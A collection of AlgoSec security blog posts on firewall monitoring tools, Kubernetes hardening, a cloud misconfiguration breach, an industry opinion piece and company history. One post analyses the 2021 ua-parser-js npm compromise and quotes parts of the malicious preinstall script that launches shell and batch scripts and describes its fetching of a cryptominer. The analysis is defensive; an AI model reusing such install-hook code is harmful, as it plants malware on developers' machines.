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Firewall monitoring is an important part of maintaining strict network security. Every firewall device has an important role to play... Firewall Policy Management 10 Best Firewall Monitoring Software for Network Security Asher Benbenisty 2 min read Asher Benbenisty Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 10/24/23 Published Firewall monitoring is an important part of maintaining strict network security. Every firewall device has an important role to play protecting the network, and unexpected flaws or downtime can put the entire network at risk. Firewall monitoring solutions provide much-needed visibility into the status and behavior of your network firewall setup. They make the security of your IT infrastructure observable, enabling you to efficiently deploy resources towards managing and securing traffic flows. This is especially important in environments with multiple firewall hardware providers, where you may need to verify firewalls, routers, load balancers, and more from a central interface. What is the role of Firewall Monitoring Software? Every firewall in your network is a checkpoint that verifies traffic according to your security policy. Firewall monitoring software assesses the performance and reports the status of each firewall in the network. This is important because a flawed or defective firewall can’t do its job properly. In a complex enterprise IT environment, dedicating valuable resources to manually verifying firewalls isn’t feasible. The organization may have hardware firewalls from Juniper or Cisco, software firewalls from Check Point, and additional built-in operating system firewalls included with Microsoft Windows. Manually verifying each one would be a costly and time-consuming workflow that prevents limited security talent from taking on more critical tasks. Additionally, admins would have to wait for individual results from each firewall in the network. In the meantime, the network would be exposed to vulnerabilities that exploit faulty firewall configurations. Firewall monitoring software solves this problem using automation . By compressing all the relevant data from every firewall in the network into a single interface, analysts and admins can immediately detect security threats that compromise firewall security. The Top 10 Firewall Monitoring Tools Right Now 1. AlgoSec AlgoSec enables security teams to visualize and manage complex hybrid networks . It uses a holistic approach to provide instant visibility to the entire network’s security configuration, including cloud and on-premises infrastructure. This provides a single pane of glass that lets security administrators preview policies before enacting them and troubleshoot issues in real-time. 2. Wireshark Wireshark is a widely used network protocol analyzer. It can capture and display the data traveling back and forth on a network in real-time. While it’s not a firewall-specific tool, it’s invaluable for diagnosing network issues and understanding traffic patterns. As an open-source tool, anyone can download WireShark for free and immediately start using it to analyze data packets. 3. PRTG Network Monitor PRTG is known for its user-friendly interface and comprehensive monitoring capabilities. It supports SNMP and other monitoring methods, making it suitable for firewall monitoring. Although it is an extensible and customizable solution, it requires purchasing a dedicated on-premises server. 4. SolarWinds Firewall Security Manager SolarWinds offers a suite of network management tools, and their Firewall Security Manager is specifically designed for firewall monitoring and management. It helps with firewall rule analysis, change management, and security policy optimization. It is a highly configurable enterprise technology that provides centralized incident management features. However, deploying SolarWinds can be complex, and the solution requires specific on-premises hardware to function. 5. FireMon FireMon is a firewall management and analysis platform. It provides real-time visibility into firewall rules and configurations, helping organizations ensure that their firewall policies are compliant and effective. FireMon minimizes security risks related to policy misconfigurations, extending policy management to include multiple security tools, including firewalls. 6. ManageEngine ManageEngine’s OpManager offers IT infrastructure management solutions, including firewall log analysis and reporting. It can help you track and analyze traffic patterns, detect anomalies, and generate compliance reports. It is intuitive and easy to use, but only supports monitoring devices across multiple networks with its higher-tier Enterprise Edition. It also requires the installation of on-premises hardware. 7. Tufin Tufin SecureTrack is a comprehensive firewall monitoring and management solution. It provides real-time monitoring, change tracking, and compliance reporting for firewalls and other network devices. It can automatically discover network assets and provide comprehensive information on network assets, but may require additional configuration to effectively monitor complex enterprise networks. 8. Cisco Firepower Management Center If you’re using Cisco firewalls, the Firepower Management Center offers centralized management and monitoring capabilities. It provides insights into network traffic, threats, and policy enforcement. Cisco simplifies network management and firewall monitoring by offering an intuitive centralized interface that lets admins control Cisco firewall devices directly. 9. Symantec Symantec (now part of Broadcom) offers firewall appliances with built-in monitoring and reporting features. These appliances are known for providing comprehensive coverage to endpoints like desktop workstations, laptops, and mobile devices. Symantec also provides some visibility into firewall configurations, but it is not a dedicated service built for this purpose. 10. Fortinet Fortinet’s FortiAnalyzer is designed to work with Fortinet’s FortiGate firewalls. It provides centralized logging, reporting, and analysis of network traffic and security events. This provides customers with end-to-end visibility into emerging threats on their networks and even includes useful security automation tools. It’s relatively easy to deploy, but integrating it with a complex set of firewalls may take some time. Benefits of Firewall Monitoring Software Enhanced Security Your firewalls are your first line of defense against cyberattacks, preventing malicious entities from infiltrating your network. Threat actors know this, and many sophisticated attacks start with attempts to disable firewalls or overload them with distributed denial of service (DDoS) attacks. Without a firewall monitoring solution in place, you may not be aware such an attack is happening until it’s too late. Even if your firewalls are successfully defending against the attack, your detection and response team should be ready to start mitigating risk the moment the attack is launched. Traffic Control Firewalls can add strain and latency to network traffic. This is especially true of software firewalls, which have to draw computing resources from the servers they protect. Over time, network congestion can become an expensive obstacle to growth, creating bottlenecks that reduce the efficiency of every device on the network. Improperly implemented firewalls can play a major role in these bottlenecks because they have to verify every data packet transferred through them. With firewall monitoring, system administrators can assess the impact of firewall performance on network traffic and use that data to more effectively balance network loads. Organizations can reduce overhead by rerouting data flows and finding low-cost storage options for data they don’t constantly need access to. Real-time Alerts If attackers manage to break through your defenses and disable your firewall, you will want to know immediately. Part of having a strong security posture is building a multi-layered security strategy. Your detection and response team will need real-time updates on the progress of active cyberattacks. They will use this information to free the resources necessary to protect the organization and mitigate risk. Organizations that don’t have real-time firewall monitoring in place won’t know if their firewalls fail against an ongoing attack. This can lead to a situation where the CSIRT team is forced to act without clear knowledge about what they’re facing. Performance Monitoring Poor network performance can have a profound impact on the profitability of an enterprise-sized organization. Drops in network quality cost organizations more than half a million dollars per year , on average. Misconfigured firewalls can contribute to poor network performance if left unaddressed while the organization grows and expands its network. Properly monitoring the performance of the network requires also monitoring the performance of the firewalls that protect it. System administrators should know if overly restrictive firewall policies prevent legitimate users from accessing the data they need. Policy Enforcement Firewall monitoring helps ensure security policies are implemented and enforced in a standardized way throughout the organization. They can help discover the threat of shadow IT networks made by users communicating outside company-approved devices and applications. This helps prevent costly security breaches caused by negligence. Advanced firewall monitoring solutions can also help security leaders create, save, and update policies using templates. The best of these solutions enable security teams to preview policy changes and research elaborate “what-if” scenarios, and update their core templates accordingly. Selecting the Right Network Monitoring Software When considering a firewall monitoring service, enterprise security leaders should evaluate their choice based on the following features: Scalability Ensure the software can grow with your network to accommodate future needs. Ideally, both your firewall setup and the monitoring service responsible for it can grow at the same pace as your organization. Pay close attention to the way the organization itself is likely to grow over time. A large government agency may require a different approach to scalability than an acquisition-oriented enterprise with many separate businesses under its umbrella. Customizability Look for software that allows you to tailor security rules to your specific requirements. Every organization is unique. The appropriate firewall configuration for your organization may be completely different than the one your closest competitor needs. Copying configurations and templates between organizations won’t always work. Your network monitoring solution should be able to deliver performance insights fine-tuned to your organization’s real needs. If there are gaps in your monitoring capabilities, there are probably going to be gaps in your security posture as well. Integration Compatibility with your existing network infrastructure is essential for seamless operation. This is another area where every organization is unique. It’s very rare for two organizations to use the same hardware and software tools, and even then there may be process-related differences that can become obstacles to easy integration. Your organization’s ideal firewall monitoring solution should provide built-in support for the majority of the security tools the organization uses. If there are additional tools or services that aren’t supported, you should feel comfortable with the process of creating a custom integration without too much difficulty. Reporting Comprehensive reporting features provide insights into network activity and threats. It should generate reports that fit the formats your analysts are used to working with. If the learning curve for adopting a new technology is too high, achieving buy-in will be difficult. The best network monitoring solutions provide a wide range of reports into every aspect of network and firewall performance. Observability is one of the main drivers of value in this kind of implementation, and security leaders have no reason to accept compromises here. AlgoSec for Real-time Network Traffic Analysis Real-time network traffic monitoring reduces security risks and enables faster, more significant performance improvements at enterprise scale. Security professionals and network engineers need access to clear, high-quality insight on data flows and network performance, and AlgoSec delivers. One way AlgoSec deepens the value of network monitoring is through the ability to connect applications directly to security policy rules . When combined with real-time alerts, this provides deep visibility into the entire network while reducing the need to conduct time-consuming manual queries when suspicious behaviors or sub-optimal traffic flows are detected. Firewall Monitoring Software: FAQs How Does Firewall Monitoring Software Work? These software solutions manage firewalls so they can identify malicious traffic flows more effectively. They connect multiple hardware and software firewalls to one another through a centralized interface. Administrators can gather information on firewall performance, preview or change policies, and generate comprehensive reports directly. This enables firewalls to detect more sophisticated malware threats without requiring the deployment of additional hardware. How often should I update my firewall monitoring software? Regular updates are vital to stay protected against evolving threats. When your firewall vendor releases an update, it often includes critical security data on the latest emerging threats as well as patches for known vulnerabilities. Without these updates, your firewalls may become vulnerable to exploits that are otherwise entirely preventable. The same is true for all software, but it’s especially important for firewalls. Can firewall monitoring software prevent all cyberattacks? While highly effective, no single security solution is infallible. Organizations should focus on combining firewall monitoring software with other security measures to create a multi-layered security posture. If threat actors successfully disable or bypass your firewalls, your detection and response team should receive a real-time notification and immediately begin mitigating cyberattack risk. Is open-source firewall monitoring software a good choice? Open-source options can be cost-effective, but they may require more technical expertise to configure and maintain. This is especially true for firewall deployments that rely on highly customized configurations. Open-source architecture can make sense in some cases, but may present challenges to scalability and the affordability of hiring specialist talent later on. How do I ensure my firewall doesn’t block legitimate traffic? Regularly review and adjust your firewall rules to avoid false positives. Sophisticated firewall solutions include features for reducing false positives, while simpler firewalls are often unable to distinguish genuine traffic from malicious traffic. Advanced firewall monitoring services can help you optimize your firewall deployment to reduce false positives without compromising security. How does firewall monitoring enhance overall network security? Firewalls can address many security threats, from distributed denial of service (DDoS) attacks to highly technical cross-site scripting attacks. The most sophisticated firewalls can even block credential-based attacks by examining outgoing content for signs of data exfiltration. Firewall monitoring allows security leaders to see these processes in action and collect data on them, paving the way towards continuous security improvement and compliance. What is the role of VPN audits in network security? Advanced firewalls are capable of identifying VPN connections and enforcing rules specific to VPN traffic. However, firewalls are not generally capable of decrypting VPN traffic, which means they must look for evidence of malicious behavior outside the data packet itself. Firewall monitoring tools can audit VPN connections to determine if they are harmless or malicious in nature, and enforce rules for protecting enterprise assets against cybercriminals equipped with secure VPNs . What are network device management best practices? Centralizing the management of network devices is the best way to ensure optimal network performance in a rapid, precise way. Organizations that neglect to centralize firewall and network device management have to manually interact with increasingly complex fleets of network hardware, software applications, and endpoint devices. This makes it incredibly difficult to make changes when needed, and increases the risks associated with poor change management when they happen. What are the metrics and notifications that matter most for firewall monitoring? Some of the important parameters to pay attention to include the volume of connections from new or unknown IP addresses, the amount of bandwidth used by the organization’s firewalls, and the number of active sessions on at any given time. Port information is especially relevant because so many firewall rules specify actions based on the destination port of incoming traffic. Additionally, network administrators will want to know how quickly they receive notifications about firewall issues and how long it takes to resolve those issues. What is the role of bandwidth and vulnerability monitoring? Bandwidth monitoring allows system administrators to find out which users and hosts consume the most bandwidth, and how network bandwidth is shared among various protocols. This helps track network performance and provides visibility into security threats that exploit bandwidth issues. Denial of service (DoS) attacks are a common cyberattack that weaponizes network bandwidth. What’s the difference between on-premises vs. cloud-based firewall monitoring? Cloud-based firewall monitoring uses software applications deployed as cloud-enabled services while on-premises solutions are physical hardware solutions. Physical solutions must be manually connected to every device on the network, while cloud-based firewall monitoring solutions can automatically discover assets and IT infrastructure immediately after being deployed. What is the role of configuration management? Updating firewall configurations is an important part of maintaining a resilient security posture. Organizations that fail to systematically execute configuration changes on all assets on the network run the risk of forgetting updates or losing track of complex policies and rules. Automated firewall monitoring solutions allow admins to manage configurations more effectively while optimizing change management. What are some best practices for troubleshooting network issues? Monitoring tools offer much-needed visibility to IT professionals who need to address network problems. These tools help IT teams narrow down the potential issues and focus their time and effort on the most likely issues first. Simple Network Management Protocol (SNMP) monitoring uses a client-server application model to collect information running on network devices. This provides comprehensive data about network devices and allows for automatic discovery of assets on the network. What’s the role of firewall monitoring in Windows environments? Microsoft Windows includes simple firewall functionality in its operating system platform, but it is best-suited to personal use cases on individual endpoints. Organizations need a more robust solution for configuring and enforcing strict security rules, and a more comprehensive way to monitor Windows-based networks as a whole. Platforms like AlgoSec help provide in-depth visibility into the security posture of Windows environments. How do firewall monitoring tools integrate with cloud services? Firewall monitoring tools provide observability to cloud-based storage and computing services like AWS and Azure. Cloud-native monitoring solutions can ingest network traffic coming to and from public cloud providers and make that data available for security analysts. Enterprise security teams achieve this by leveraging APIs to automate the transfer of network performance data from the cloud provider’s infrastructure to their own monitoring platform. What are some common security threats and cyberattacks that firewalls can help mitigate? Since firewalls inspect every packet of data traveling through the network perimeter, they play a critical role detecting and mitigating many different threats and attacks. Simple firewalls can block unsophisticated denial-of-service (DoS) attacks and detect known malware variants. Next-generation firewalls can prevent data breaches by conducting deep packet analysis, identifying compromised applications and user accounts, and even blocking sensitive data from leaving the network altogether. What is the importance of network segmentation and IP address management? Network segmentation protects organizations from catastrophic data breaches by ensuring that even successful cyberattacks are limited in scope. If attackers compromise one part of the network, they will not necessarily have access to every other part. Security teams achieve segmentation in part by effectively managing network IP addresses according to a robust security policy and verifying the effects of policy changes using monitoring software. Schedule a demo Related Articles Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read 5 Multi-Cloud Environments Cloud Security Mar 19, 2023 · 2 min read Convergence didn’t fail, compliance did. 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With the rapid proliferation of cloud computing, lean deployment methods, such as containers, have become common practice. According to... Cloud Security Intro to Kubernetes Security Best Practices Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 11/27/20 Published With the rapid proliferation of cloud computing, lean deployment methods, such as containers, have become common practice. According to CIO.com, 70% of global companies are expected to be running multiple apps simultaneously using a containerized framework, like Kubernetes in the next few years. But as Kubernetes’ use becomes more widespread, so do the vulnerabilities inherent to containerization. According to a 2019 Forbes article , Kubernetes had at least 7,000 identified vulnerabilities at the beginning of 2019 alone. Couple that with the fact that cyber-attacks involving containerization have increased a whopping 240% since 2018, and you’ll understand the value of security should your company use a solution like Kubernetes to handle its container orchestration. What Causes Kubernetes Security Blindspots? To understand how to best optimize your Kubernetes experience, it’s worthwhile to understand the basic ways security issues arise in a containerized framework. Images are the core building blocks of containerization; they are the executable process at the centre of your container. As a result, anything that exposes an image to a broader audience puts the container at risk of being hijacked. One of the primary ways this occurs is by using out-of-date software. Using old software gives malicious actors a small incongruence that they can exploit within the code. Another problem is poorly defined user access roles. If sensible changes aren’t made to an orchestration tool’s default settings, inappropriate parties may have access to alter the container’s core executable. Containerization gives you a way to manage a large number of processes easily and with increased adaptability. As a result, automation makes it impossible to keep your eyes on everything at once. Here are some best practices that can help you counter the wide range of vulnerabilities inherent to containerization and Kubernetes in general. Kubernetes Security Best Practices Given the architecture of the Kubernetes framework, security risks are a constant and evolving threat. Luckily, Google made Kubernetes an open-source application under the auspices of the Cloud Native Computing Foundation where solutions to new security issues are actively crowdsourced by the community. Regardless, there are a number of things that you can do during the build, deployment, and runtime phases to make your Kubernetes implementation more secure. Take care of your images Images are the heart of every container. Executable functions are essential, so images must be well-maintained and in good working order. Only use up-to-date images, scanning them regularly for security issues. As a rule of thumb, you should also avoid including unnecessary tools and functions in your image coding as they can inadvertently give hackers an access route. Ensure that your secrets remain secret The term “secrets” refers to any private information such as login credentials, tokens, or other sensitive data. While it’s not customary to keep sensitive data stored adjacent to the container’s image, the scenario has come up before. Keep secret data as far from the image as possible in order to increase security. Keep up-to-date with scans and security patches The community does a good job of patching Kubernetes when issues arise. If you don’t take the time to update both your OS and Kubernetes’ security, you give malware additional avenues of attack. Updates should be performed at least every nine months, if not more often. Due to the nature of how Kubernetes works, if you are using an outdated version, you could actively be spreading issues when the container is deployed elsewhere. Take advantage of customization to define user roles and access A container orchestration tool like Kubernetes is a complex web running thousands of processes across numerous machines. That means hundreds of end-users involved with the application. Take advantage of Kubernetes administrative functions to clearly define user roles, limiting full access for those who don’t need it. As they say, too many cooks spoil the broth. Keeping Kubernetes Simple and Safe Containers are an agile, lightweight framework for cloud computing, but manually deploying the correct containers to their destinations can quickly become overwhelming. An orchestration tool like Kubernetes is the perfect solution to managing your containerization, but the security risks inherent to this model can be restrictive. By keeping a few key practices in mind when implementing Kubernetes into your workflow, you can help to promote safety while streamlining your processes. To Sum It All Up Kubernetes has become the centrepiece of the cloud Native landscape and a notable advantage for organizations to rapidly manage and deploy their containerized business logic. But certain security best practices must be followed such as working with reliable docker images, properly defined resource quotas, network policies, work with namespaces for access control and authentication\authorization, and more. To learn more about Prevasio integration and security for K8s containers, contact us today. Schedule a demo Related Articles Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read 5 Multi-Cloud Environments Cloud Security Mar 19, 2023 · 2 min read Convergence didn’t fail, compliance did. Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

As earlier reported by US-CERT, three versions of a popular NPM package named ua-parser-js were found to contain malware. The NPM package... Cloud Security Hijacked NPM Account Leads to Critical Supply Chain Compromise Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 10/24/21 Published As earlier reported by US-CERT, three versions of a popular NPM package named ua-parser-js were found to contain malware. The NPM package ua-parser-js is used in apps and websites to discover the type of device or browser a person is using from User-Agent data. The author of the package, Faisal Salman – a software developer from Indonesia, has commented about the incident: Hi all, very sorry about this. I noticed something unusual when my email was suddenly flooded by spams from hundreds of websites (maybe so I don’t realize something was up, luckily the effect is quite the contrary). I believe someone was hijacking my npm account and published some compromised packages (0.7.29, 0.8.0, 1.0.0) which will probably install malware as can be seen from the diff here: https://app.renovatebot.com/package-diff?name=ua-parser-js&from=0.7.28&to=1.0.0 I have sent a message to NPM support since I can’t seem to unpublish the compromised versions (maybe due to npm policy https://docs.npmjs.com/policies/unpublish ) so I can only deprecate them with a warning message. There are more than 2.5 million other repositories that depend on ua-parser-js . Google search “file:ua-parser-js.js” reveals nearly 2 million websites, which indicates the package is popular. As seen in the source code diff , the newly added file package/preinstall.js will check the OS platform. If it’s Windows, the script will spawn a newly added preinstall.bat script. If the OS is Linux, the script will call terminalLinux() function, as seen in the source below: var opsys = process.platform; if ( opsys == "darwin" ) { opsys = "MacOS" ; } else if ( opsys == "win32" || opsys == "win64" ) { opsys = "Windows" ; const { spawn } = require ( 'child_process' ) ; const bat = spawn ( 'cmd.exe' , [ '/c' , 'preinstall.bat' ]) ; } else if ( opsys == "linux" ) { opsys = "Linux" ; terminalLinux () ; } The terminalLinux() function will run the newly added preinstall.sh script. function terminalLinux(){ exec( "/bin/bash preinstall.sh" , (error, stdout, stderr) => { ... }); } The malicious preinstall.sh script first queries an XML file that will report the current user’s geo-location by visiting this URL . For example, for a user located in Australia, the returned content will be: [IP_ADDRESS] AU Australia ... Next, the script searches for the presence of the following country codes in the returned XML file: RU UA BY KZ That is, the script identifies if the affected user is located in Russia, Ukraine, Belarus, or Kazakhstan. Suppose the user is NOT located in any of these countries. In that case, the script will then fetch and execute malicious ELF binary jsextension from a server with IP address 159.148.186.228, located in Latvia. jsextension binary is an XMRig cryptominer with reasonably good coverage by other AV products. Conclusion The compromised ua-parser-js is a showcase of a typical supply chain attack. Last year, Prevasio found and reported a malicious package flatmap-stream in 1,482 Docker container images hosted in Docker Hub with a combined download count of 95M. The most significant contributor was the trojanized official container image of Eclipse. What’s fascinating in this case, however, is the effectiveness of the malicious code proliferation. It only takes one software developer to ignore a simple trick that reliably prevents these things from happening. The name of this trick is two-factor authentication (2FA). About the Country Codes Some people wonder why cybercriminals from Russia often avoid attacking victims outside of their country or other Russian-speaking countries. Some go as far as suggesting it’s for their own legal protection. The reality is way simpler, of course: “Не гадь там, где живешь” “Не сри там, где ешь” “Не плюй в колодец, пригодится воды напиться” Polite translation of all these sayings is: “One should not cause trouble in a place, group, or situation where one regularly finds oneself.” Schedule a demo Related Articles Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read 5 Multi-Cloud Environments Cloud Security Mar 19, 2023 · 2 min read Convergence didn’t fail, compliance did. Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

A recent news article from Bleeping Computer called out an incident involving Japanese game developer Ateam, in which a misconfiguration... Cyber Attacks & Incident Response Mitigating cloud security risks through comprehensive automated solutions Malynnda Littky-Porath 2 min read Malynnda Littky-Porath Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 1/8/24 Published A recent news article from Bleeping Computer called out an incident involving Japanese game developer Ateam, in which a misconfiguration in Google Drive led to the potential exposure of sensitive information for nearly one million individuals over a period of six years and eight months. Such incidents highlight the critical importance of securing cloud services to prevent data breaches. This blog post explores how organizations can avoid cloud security risks and ensuring the safety of sensitive information. What caused the Ateam Google Drive misconfiguration? Ateam, a renowned mobile game and content creator, discovered on November 21, 2023, that it had mistakenly set a Google Drive cloud storage instance to “Anyone on the internet with the link can view” since March 2017. This configuration error exposed 1,369 files containing personal information, including full names, email addresses, phone numbers, customer management numbers, and device identification numbers, for approximately 935,779 individuals. Avoiding cloud security risks by using automation To prevent such incidents and enhance cloud security, organizations can leverage tools such as AlgoSec, a comprehensive solution that addresses potential vulnerabilities and misconfigurations. It is important to look for cloud security partners who offer the following key features: Automated configuration checks: AlgoSec conducts automated checks on cloud configurations to identify and rectify any insecure settings. This ensures that sensitive data remains protected and inaccessible to unauthorized individuals. Policy compliance management: AlgoSec assists organizations in adhering to industry regulations and internal security policies by continuously monitoring cloud configurations. This proactive approach reduces the likelihood of accidental exposure of sensitive information. Risk assessment and mitigation: AlgoSec provides real-time risk assessments, allowing organizations to promptly identify and mitigate potential security risks. This proactive stance helps in preventing data breaches and maintaining the integrity of cloud services. Incident response capabilities: In the event of a misconfiguration or security incident, AlgoSec offers robust incident response capabilities. This includes rapid identification, containment, and resolution of security issues to minimize the impact on the organization. The Ateam incident serves as a stark reminder of the importance of securing cloud services to safeguard sensitive data. AlgoSec emerges as a valuable ally in this endeavor, offering automated configuration checks, policy compliance management, risk assessment, and incident response capabilities. By incorporating AlgoSec into their security strategy, organizations can significantly reduce the risk of cloud security incidents and ensure the confidentiality of their data. Request a brief demo to learn more about advanced cloud protection. Schedule a demo Related Articles Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read 5 Multi-Cloud Environments Cloud Security Mar 19, 2023 · 2 min read Convergence didn’t fail, compliance did. Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

Nick Ellsmore is an Australian cybersecurity professional whose thoughts on the future of cybersecurity are always insightful. Having a... Cloud Security Errare humanum est Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 11/25/21 Published Nick Ellsmore is an Australian cybersecurity professional whose thoughts on the future of cybersecurity are always insightful. Having a deep respect for Nick, I really enjoyed listening to his latest podcast “Episode 79 Making the cyber sector redundant with Nick Ellsmore” . As Nick opened the door to debate on “all the mildly controversial views” he has put forward in the podcast, I decided to take a stab at a couple of points made by Nick. For some mysterious reason, these points have touched my nerve. So, here we go. Nick: The cybersecurity industry, we spent so long trying to get people to listen to us and take the issue seriously, you know, we’re now getting that, you know. Are the businesses really responding because we were trying to get people to listen to us? Let me rephrase this question. Are the businesses really spending more on cybersecurity because we were trying to get people to listen to us? The “cynical me” tells me No. Businesses are spending more on cybersecurity because they are losing more due to cyber incidents. It’s not the number of incidents; it’s their impact that is increasingly becoming devastating. Over the last ten years, there were plenty of front-page headliners that shattered even seemingly unshakable businesses and government bodies. Think of Target attack in 2013, the Bank of Bangladesh heist in 2016, Equifax breach in 2017, SolarWinds hack in 2020 .. the list goes on. We all know how Uber tried to bribe attackers to sweep the stolen customer data under the rug. But how many companies have succeeded in doing so without being caught? How many cyber incidents have never been disclosed? These headliners don’t stop. Each of them is another reputational blow, impacted stock options, rolled heads, stressed-out PR teams trying to play down the issue, knee-jerk reaction to acquire snake-oil-selling startups, etc. We’re not even talking about skewed election results (a topic for another discussion). Each one of them comes at a considerable cost. So no wonder many geniuses now realise that spending on cybersecurity can actually mitigate those risks. It’s not our perseverance that finally started paying off. It’s their pockets that started hurting. Nick: I think it’s important that we don’t lose sight of the fact that this is actually a bad thing to have to spend money on. Like, the reason that we’re doing this is not healthy. .. no one gets up in the morning and says, wow, I can’t wait to, you know, put better locks on my doors. It’s not the locks we sell. We sell gym membership. We want people to do something now to stop bad things from happening in the future. It’s a concept of hygiene, insurance, prevention, health checks. People are free not to pursue these steps, and run their business the way they used to .. until they get hacked, get into the front page, wondering first “Why me?” and then appointing a scapegoat. Nick: And so I think we need to remember that, in a sense, our job is to create the entire redundancy of this sector. Like, if we actually do our job, well, then we all have to go and do something else, because security is no longer an issue. It won’t happen due to 2 main reasons. Émile Durkheim believed in a “society of saints”. Unfortunately, it is a utopia. Greed, hunger, jealousy, poverty are the never-ending satellites of the human race that will constantly fuel crime. Some of them are induced by wars, some — by corrupt regimes, some — by sanctions, some — by imperfect laws. But in the end — there will always be Haves and Have Nots, and therefore, fundamental inequality. And that will feed crime. “Errare humanum est” , Seneca. To err is human. Because of human errors, there will always be vulnerabilities in code. Because of human nature (and as its derivative, geopolitical or religious tension, domination, competition, nationalism, fight for resources), there will always be people willing to and capable of exploiting those vulnerabilities. Mix those two ingredients — and you get a perfect recipe for cybercrime. Multiply that with never-ending computerisation, automation, digital transformation, and you get a constantly growing attack surface. No matter how well we do our job, we can only control cybercrime and keep the lid on it, but we can’t eradicate it. Thinking we could would be utopic. Another important consideration here is budget constraints. Building proper security is never fun — it’s a tedious process that burns cash but produces no tangible outcome. Imagine a project with an allocated budget B to build a product P with a feature set F, in a timeframe T. Quite often, such a project will be underfinanced, potentially leading to a poor choice of coders, overcommitted promises, unrealistic expectations. Eventually leading to this (oldie, but goldie): Add cybersecurity to this picture, and you’ll get an extra step that seemingly complicates everything even further: The project investors will undoubtedly question why that extra step was needed. Is there a new feature that no one else has? Is there a unique solution to an old problem? None of that? Then what’s the justification for such over-complication? Planning for proper cybersecurity built-in is often perceived as FUD. If it’s not tangible, why do we need it? Customers won’t see it. No one will see it. Scary stories in the press? Nah, that’ll never happen to us. In some way, extra budgeting for cybersecurity is anti-capitalistic in nature. It increases the product cost and, therefore, its price, making it less competitive. It defeats the purpose of outsourcing product development, often making outsourcing impossible. From the business point of view, putting “Sec” into “DevOps” does not make sense. That’s Ok. No need. .. until it all gloriously hits the fan, and then we go back to STEP 1. Then, maybe, just maybe, the customer will say, “If we have budgeted for that extra step, then maybe we would have been better off”. Schedule a demo Related Articles Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read 5 Multi-Cloud Environments Cloud Security Mar 19, 2023 · 2 min read Convergence didn’t fail, compliance did. Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... 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Over nearly two decades, AlgoSec has undergone a remarkable evolution in both technology and offerings. Initially founded with the... Application Connectivity Management Evolving network security: AlgoSec’s technological journey and its critical role in application connectivity Nitin Rajput 2 min read Nitin Rajput Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 12/13/23 Published Over nearly two decades, AlgoSec has undergone a remarkable evolution in both technology and offerings. Initially founded with the mission of simplifying network security device management, the company has consistently adapted to the changing landscape of cybersecurity. Proactive Network Security In its early years, AlgoSec focused on providing a comprehensive view of network security configurations, emphasizing compliance, risk assessment, and optimization. Recognizing the limitations of a reactive approach, AlgoSec pivoted to develop a workflow-based ticketing system, enabling proactive assessment of traffic changes against risk and compliance. Cloud-Native Security As organizations transitioned to hybrid and cloud environments, AlgoSec expanded its capabilities to include cloud-native security controls. Today, AlgoSec seamlessly manages public cloud platforms such as Cisco ACI, NSX, AWS, GCP, and Azure, ensuring a unified security posture across diverse infrastructures. Application Connectivity Discovery A recent breakthrough for AlgoSec is its focus on helping customers navigate the challenges of migrating applications to public or private clouds. The emphasis lies in discovering and mapping application flows within the network infrastructure, addressing the crucial need for maintaining control and communication channels. This discovery process is facilitated by AlgoSec’s built-in solution or by importing data from third-party micro-segmentation solutions like Cisco Secure Workloads, Guardicore, or Illumio. Importance of Application Connectivity Why is discovering and mapping application connectivity crucial? Applications are the lifeblood of organizations, driving business functions and, from a technical standpoint, influencing decisions related to firewall rule decommissioning, cloud migration, micro-segmentation, and zero-trust frameworks. Compliance requirements further emphasize the necessity of maintaining a clear understanding of application connectivity flows. Enforcing Micro-Segmentation with AlgoSec Micro-segmentation, a vital network security approach, aims to secure workloads independently by creating security zones per machine. AlgoSec plays a pivotal role in enforcing micro-segmentation by providing a detailed understanding of application connectivity flows. Through its discovery modules, AlgoSec ingests data and translates it into access controls, simplifying the management of north-south and east-west traffic within SDN-based micro-segmentation solutions. Secure Application Connectivity Migration In the complex landscape of public cloud and application migration, AlgoSec emerges as a solution to ensure success. Recognizing the challenges organizations face, AlgoSec’s AutoDiscovery capabilities enable a smooth migration process. By automatically generating security policy change requests, AlgoSec simplifies a traditionally complex and risky process, ensuring business services remain uninterrupted while meeting compliance requirements. In conclusion, AlgoSec’s technological journey reflects a commitment to adaptability and innovation, addressing the ever-changing demands of network security. From its origins in network device management to its pivotal role in cloud security and application connectivity, AlgoSec continues to be a key player in shaping the future of cybersecurity. Schedule a demo Related Articles Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read 5 Multi-Cloud Environments Cloud Security Mar 19, 2023 · 2 min read Convergence didn’t fail, compliance did. Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

